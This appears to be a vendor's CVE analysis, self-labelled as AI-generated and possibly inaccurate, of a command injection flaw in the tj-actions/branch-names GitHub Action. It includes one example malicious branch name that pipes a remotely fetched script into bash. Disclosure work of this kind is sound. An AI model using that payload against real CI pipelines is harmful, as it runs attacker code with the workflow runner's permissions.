Automated Threat Modeling

Summary of CVE-2025-54416: Command Injection in tj-actions/branch-names GitHub Action

CVE-2025-54416 is a critical command injection vulnerability in the tj-actions/branch-names GitHub Action, versions 8.2.1 and below. An attacker can run arbitrary commands through an unsanitized branch or tag name. This summary covers how the exploit works and how the patch fixes it.

CVE Analysis

6 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2025-07-25

Summary of CVE-2025-54416: Command Injection in tj-actions/branch-names GitHub Action
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

If a CI/CD pipeline does not sanitize branch names, a single malicious one can compromise the whole pipeline. That is what happened with tj-actions/branch-names, a popular GitHub Action that extracts branch and tag names in automated workflows. The vulnerability, tracked as CVE-2025-54416, allows arbitrary command execution in any workflow that consumes the output of versions 8.2.1 and below. It carries a CVSS score of 9.1, and the risk is significant for any project that uses the action in a collaborative or open environment.

About tj-actions/branch-names:

tj-actions is a GitHub organization that maintains a suite of workflow automation tools for GitHub Actions. The branch-names action is widely used in open-source and enterprise CI/CD pipelines to retrieve branch and tag names programmatically across all GitHub event types. It is flexible and easy to integrate, so it shows up as a dependency in many DevOps workflows.

Technical Information

CVE-2025-54416 is a command injection vulnerability in the tj-actions/branch-names GitHub Action, caused by improper input sanitization and unescaped output. The flaw appears when a branch or tag name contains shell metacharacters, because the action does not neutralize them before passing the name to downstream workflow steps. An attacker can craft a branch or tag name that injects arbitrary shell commands into the workflow execution context.

The problem is in how the action exposes branch and tag names through its outputs. If a workflow step uses these outputs directly in a shell command, a crafted branch name can break out of the expected context and execute arbitrary commands. Take this branch name as an example:

"test") ${IFS} && {curl -sSfL gist.githubusercontent.com/[MALICIOUS-CONTENT].sh } | bash && echo "foo"

When the vulnerable action processes this name and the output is used in a shell context, the injected commands run with the permissions of the workflow runner. The root cause is missing escaping and sanitization of user-controlled input, classified as CWE-77 (Improper Neutralization of Special Elements used in a Command). Version 9.0.0 fixes the issue with stricter output escaping and input validation.

Affected Systems and Versions

The vulnerability affects tj-actions/branch-names versions 8.2.1 and below. Any workflow that uses these versions and consumes branch or tag names as shell variables or command arguments is at risk. The risk is highest in repositories that accept contributions from untrusted users or external collaborators. Version 9.0.0 and later contain the fix.

Vendor Security History

tj-actions released a fix in version 9.0.0 and published a detailed security advisory. The patch came promptly after disclosure. No similar earlier vulnerabilities appear in the public record for this action.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization